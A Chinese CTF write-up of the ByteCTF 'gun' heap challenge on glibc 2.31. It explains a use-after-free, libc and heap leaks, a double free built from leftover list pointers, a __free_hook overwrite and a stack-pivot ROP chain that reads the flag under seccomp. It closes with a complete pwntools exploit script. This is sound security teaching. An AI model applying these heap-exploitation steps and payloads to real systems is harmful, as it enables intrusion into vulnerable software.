这周打了一下ByteCTF,发现差距还是很大的,现在的很多堆菜单题都上2.31,新版本的题目需要多熟悉熟悉。
分析 checksec保护全开,逆向的时候发现其中有prctl函数,用seccomp-tools查看沙箱逻辑。
看这个逻辑只能使用orw的方法获得flag。整个程序主要由三个功能,射击子弹,上膛子弹,购买子弹,购买子弹会malloc,同时有一次向chunk写数据的机会,购买的子弹会通过一个18字节大小的数据结构管理。chunk指向分配的堆块,next指向其他堆块形成一个链表,flag是标志位分别有0,1,2,表示不同的状态。
1 2 3 4 5 struct { char * chunk; char * next; int flag; }
上膛子弹会把子弹放进弹夹中,如果弹夹中已经有子弹,则会使用next进行链接,next指向弹夹中的子弹,然后把这个子弹放进弹夹中,构成一个由子弹组成的单向链表,最后改变标志位为2。发射子弹会从弹夹中的子弹开始free,free完成之后弹夹会填入next指向的下一个子弹,重复一个指定的次数。每次射击会输出这个子弹的chunk内容,这给了我们泄露的机会。
另外一个可以利用的点在射击free中,没有置空指针,存在UAF的问题。
除了上面的这些,有一个细节点,射击完成的子弹数据结构中的内容都不会清除,这意味着next指针的内容是保留下来的,这个细节点成为了之后构造double free的基础。
泄露libc和heap 因为有tcache的原因,要让chunk进入unsorted bin中需要让tcache填满,我们的思路是填满tcache之后让chunk进入unsorted bin中,再次分配小chunk就能拿到带有libc地址的chunk。malloc(0x80)分配8次,装载之后射击8次,从0到7装载会让7号子弹首先释放,又因为tcache是和fastbin类似的FILO,最后0号被分配到了unsorted bin中,其余7个在tcache中。
随后分配小chunk,拿到带有libc地址的chunk,这里malloc(0x20)会切分unsorted bin。
装载并发射这个子弹,我们就能泄露到libc地址。而要泄露到heap的地址,这里要分配tcache中的chunk,然后用同样的方法装载并发射,泄露到heap地址。
构造double free 在我们面前的问题是这道题目的free都是按照链表顺序进行的,而链表只能通过上膛的方式改变。这里的构造利用了之前上膛操作遗留下来的next指针构造double free,如下图:
0x555555558060
是之前填充tcache时遗留下的指向首个chunk的指针,如果我们再次用类似的方法填充tcache,但是让弹夹中留着第二个chunk的地址,这样我们装载第一个chunk就会让next指向第二个chunk,同时第二个chunk原来就是指向第一个chunk的,构造出这样的链表后射击3次,free掉的chunk进入fastbin就完成了经典的double free。
要使用这个double free,还需要把tcache清空,清空之后继续申请从fastbin获得chunk,剩下的chunk会进入到tcache中,但是这个进入顺序会是fastbin弹出顺序的倒转,最终的结果会是和fastbin一样的排序。清空后的第一次申请,把目标地址free_hook写入指针中,形成下面的链接顺序。
再次申请3次,就能拿到目标chunk,写入我们的gadget。
构造ROP 因为题目设置有沙箱,没有办法使用one_gadget拿到shell,需要自己构造ROP来完成利用。由于有heap地址,我们能申请chunk,把ROP写入其中,在free_hook中填入的gadget跳转到目标堆地址中执行ROP链。
1 2 3 4 5 6 7 8 9 .text:000000000008A754 mov rax, [rdi+0A0h] .text:000000000008A75B push rbx .text:000000000008A75C mov rbx, rdi .text:000000000008A75F mov rdx, [rax+20h] .text:000000000008A763 cmp rdx, [rax+18h] .text:000000000008A767 jbe short loc_8A788 .text:000000000008A769 mov rax, [rax+0E0h] .text:000000000008A770 mov esi, 0FFFFFFFFh .text:000000000008A775 call qword ptr [rax+18h]
这里有一段有用的gadget,通过rdi控制rax,rax又能控制rdx。执行free时的rdi刚好是要free的指针,这里就可以是我们申请到的拿来写ROP的chunk地址。
光有call虽然能控制rip,但rsp无法控制只能依靠其他gadget,在能控制rdx的条件下,使用0x000000000005e650 : mov rsp, rdx ; ret
就能同时控制rip和rsp到我们想要的位置。最后chunk的具体地址,通过调试知道我们前面的操作让heap到了0x870的偏移。
exp 这里借用了shiyh师傅的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 from pwn import *elf = ELF('./gun' ) libc = elf.libc if args['D' ]: context.log_level = 'debug' if args['R' ]: io = remote('123.57.209.176' , '30772' ) else : io = process('./gun' ) def shoot (time) : io.recvuntil(b'Action> ' ) io.sendline('1' ) io.recvuntil(b'Shoot time: ' ) io.sendline(str(time)) def load (index) : io.recvuntil(b'Action> ' ) io.sendline('2' ) io.recvuntil(b'Which one do you want to load?' ) io.sendline(str(index)) def buy (price,name) : io.recvuntil(b'Action> ' ) io.sendline('3' ) io.recvuntil(b'Bullet price: ' ) io.sendline(str(price)) io.recvuntil(b'Bullet Name: ' ) io.sendline(name) def quit () : io.recvuntil(b'Action> ' ) io.sendline('4' ) io.recvuntil(b'Your name: ' ) io.sendline(b'shiyh' ) for i in range(8 ): buy(0x80 ,'' ) for i in range(8 ): load(i) shoot(8 ) buy(0x20 ,'' ) load(0 ) shoot(1 ) io.recvuntil('Pwn! The ' ) t = io.recvuntil(' bullet' )[:-7 ] libc_base = u64(t.ljust(8 ,b'\x00' )) - 0x1ebc60 free_hook = libc_base + 0x1EEB28 log.info('libc_base : %s' % hex(libc_base)) buy(0x80 ,'' ) load(0 ) shoot(1 ) io.recvuntil('Pwn! The ' ) t = io.recvuntil(' bullet' )[:-7 ] heap = u64(t.ljust(8 ,b'\x00' ))-1008 log.info('heap : %s' % hex(heap)) for i in range(9 ): buy(0x20 ,'' ) for i in range(7 ): load(i+2 ) shoot(7 ) load(0 ) shoot(3 ) for i in range(7 ): buy(0x20 ,'' ) buy(0x20 ,p64(free_hook)) buy(0x20 ,'' ) buy(0x20 ,'' ) pop_rdi = libc_base + 0x0000000000026b72 pop_rsi = libc_base + 0x0000000000027529 pop_rdx_rbx = libc_base + 0x0000000000162866 pop_rax = libc_base + 0x000000000004a550 syscall = libc_base + 0x00000000000E62F9 flag_addr = heap + 2144 + 0x10 buf = heap + 2144 + 8 +0x10 payload = b'flag' + p32(0 ) + b'\x00' *0x18 + p64(flag_addr + 0x100 ) + b'\x00' *0x78 payload += p64(flag_addr) + b'\x00' *0x38 payload += p64(flag_addr + 0xe0 ) + b'\x00' *0x10 + p64(libc_base + 0x000000000005e650 ) ROPchain = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0 ) + p64(pop_rdx_rbx) + p64(0 ) + p64(0 ) + p64(pop_rax) + p64(2 ) + p64(syscall) ROPchain += p64(pop_rdi) + p64(3 ) + p64(pop_rsi) + p64(buf) + p64(pop_rdx_rbx) + p64(0x30 ) + p64(0 ) + p64(pop_rax) + p64(0 ) + p64(syscall) ROPchain += p64(pop_rdi) + p64(1 ) + p64(pop_rsi) + p64(buf) + p64(pop_rdx_rbx) + p64(0x30 ) + p64(0 ) + p64(pop_rax) + p64(1 ) + p64(syscall) payload += ROPchain buy(0x300 ,payload) load(10 ) gadget = libc_base + 0x8A754 buy(0x20 ,p64(gadget)) shoot(1 ) io.interactive() ''' 0x000000000005e650 : mov rsp, rdx ; ret 0x0000000000026b72 : pop rdi ; ret 0x0000000000027529 : pop rsi ; ret 0x0000000000162866 : pop rdx ; pop rbx ; ret 0x000000000004a550 : pop rax ; ret .text:000000000008A754 mov rax, [rdi+0A0h] .text:000000000008A75B push rbx .text:000000000008A75C mov rbx, rdi .text:000000000008A75F mov rdx, [rax+20h] .text:000000000008A763 cmp rdx, [rax+18h] .text:000000000008A767 jbe short loc_8A788 .text:000000000008A769 mov rax, [rax+0E0h] .text:000000000008A770 mov esi, 0FFFFFFFFh .text:000000000008A775 call qword ptr [rax+18h] '''